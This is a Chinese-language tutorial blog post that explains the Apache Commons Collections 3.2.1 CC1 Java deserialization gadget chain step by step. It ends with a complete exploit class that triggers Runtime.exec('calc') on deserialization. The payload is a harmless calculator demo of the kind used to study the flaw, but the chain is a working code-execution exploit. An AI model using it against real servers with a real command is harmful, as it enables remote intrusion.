Java反序列化Commons Collections1链

Commons Collections

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

环境

jdk:1.7.0_10 https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

CommonsCollections:3.2.1

分析的时候需要sun源码:https://sourceforge.net/projects/jdk7src/files/

pom.xml中写入,更新maven

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

利用链

前置知识

Transformer就是变形金刚的英文名,是一个接口,定义了transform方法,实现类可以对对象进行一些操作。可以理解为一个装饰器或者代理

然后接下来要用到的类

● ConstantTransformer:它的transform()返回一个常量,也就是new时接收到的对象

● ChainedTransformer:它的transform()会链式调用上一个元素的transform(),也就是new时传进来的对象数组,前一个输出作为后一个输入

● InvokerTransformer:它的transform()会反射调用对象的方法,参数都可控

● TransformedMap

​ Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时,会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。

​ Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过Java的反射机制来调用任意函数,叫做InvokerTransformer。

复现

如果是想挖掘一个反序列化的链子,那一般先找有危险方法的类,然后去构造链子

该链子是InvokerTransformer.transform()方法会反射加载任意类(可控)

接下来就一步一步弹计算器

首先我们用InvokerTransformer.transform():

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        invokerTransformer.transform(runtime);

找到会调用transform()的类,这里用TransformedMap类,它的checkSetValue()会调用transform(),但checkSetValue()是protect,仔细看可以发现TransformedMap是AbstractInputCheckedMapDecorator的子类

AbstractInputCheckedMapDecorator它的内部类MapEntry的setValue()方法调用了checkSetValue(),然后就可以用父类去访问子类的checkSetValue()

所以找哪里调用了setValue(),AnnotationInvocationHandler.readObject()调用了setValue(),但这个类是default类型的,需要反射

public class cc1 {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        Map map = new HashMap();
        map.put("111","222");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(runtime);
//        }  
//这里可以理解一下,一个Entry就是HashMap遍历时的一个键值对,我们可以遍历HashMap,调用setValue(),但cc1还得用AnnotationInvocationHandler

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Override.class,transformerdmap);
        serialize(obj);
        deserialize();
	}
    
    public static void serialize(Object obj) throws IOException, ClassNotFoundException {
        FileOutputStream fos = new FileOutputStream("aa.ser");
        ObjectOutputStream os= new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();
        fos.close();
    }
    
    public static void deserialize() throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream("aa.ser");
        ObjectInputStream is = new ObjectInputStream(fis);
        is.readObject();
        is.close();
        fis.close();
    }
}

这样构造好了,但是反序列化是不成功的,目前构造的链有三个问题

● 之前我们的Runtime都是自己生成的,然而Runtime是不能被序列化的

● 在AnnotationInvocationHandler的readObject()中想要执行到setValue()是有if条件判断的

● AnnotationInvocationHandler.readObject()里面的setValue()里面的transform是不可控的

先解决第一个问题:

Class是可以被序列化的

//        Class c = Runtime.class;
//        Method getruntimemethod = c.getMethod("getRuntime",null);
//        Runtime r = (Runtime) getruntimemethod.invoke(null,null);
//        Method getexecmethod = c.getMethod("exec",String.class);
//        getexecmethod.invoke(r,"calc");  
// Runtime.getRuntime().exec()反射

//        Method getruntimemethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//       Runtime getinvokemethod = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimemethod);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(getinvokemethod);  
// InvokerTransformer的Runtime.getRuntime().exec()反射

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);
// 可以用ChainedTransformer来递归

第二个问题:

第一个if()会判断注解的成员变量的类型(需要找到一个有成员变量的注解),第二个if()会判断成员变量的值是否可以强转为成员变量的类型(这个不成立的)

map.put("111","222"); ==>map.put("value","222");
// 第一个if是根据ertry的键判断的
Object obj = constructor.newInstance(Override.class,transformerdmap); ==>Object obj = constructor.newInstance(Target.class,transformerdmap);
// Target注解有个value值

第三个问题:

可以利用ConstantTransformer这个类

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

最后完整的代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;

import java.lang.reflect.Constructor;

import java.util.HashMap;
import java.util.Map;

/**
 * @data: 2022
 * @author: Lees
 * @since: JDK 11
 */

public class cc1 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
        Map<Object,Object> map = new HashMap<>();
        map.put("value","value");
        Map<Object,Object> transformerdmap = TransformedMap.decorate(map,null,chainedTransformer);
    
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Target.class,transformerdmap);
        serialize(obj);
        deserialize();    
    }
    
    public static void serialize(Object obj) throws IOException, ClassNotFoundException {
        FileOutputStream fos = new FileOutputStream("aa.ser");
        ObjectOutputStream os= new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();
        fos.close();
    }
    
    public static void deserialize() throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream("aa.ser");
        ObjectInputStream is = new ObjectInputStream(fis);
        is.readObject();
        is.close();
        fis.close();
    }
}

整个下来看不懂的话可以去看视频,up主讲的很好:
https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.788

LazyMap

前面分析的是TransformedMap的checkSetValue来利用的。接下来学习下ysoserial上的cc1,用的是LazpMap类。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值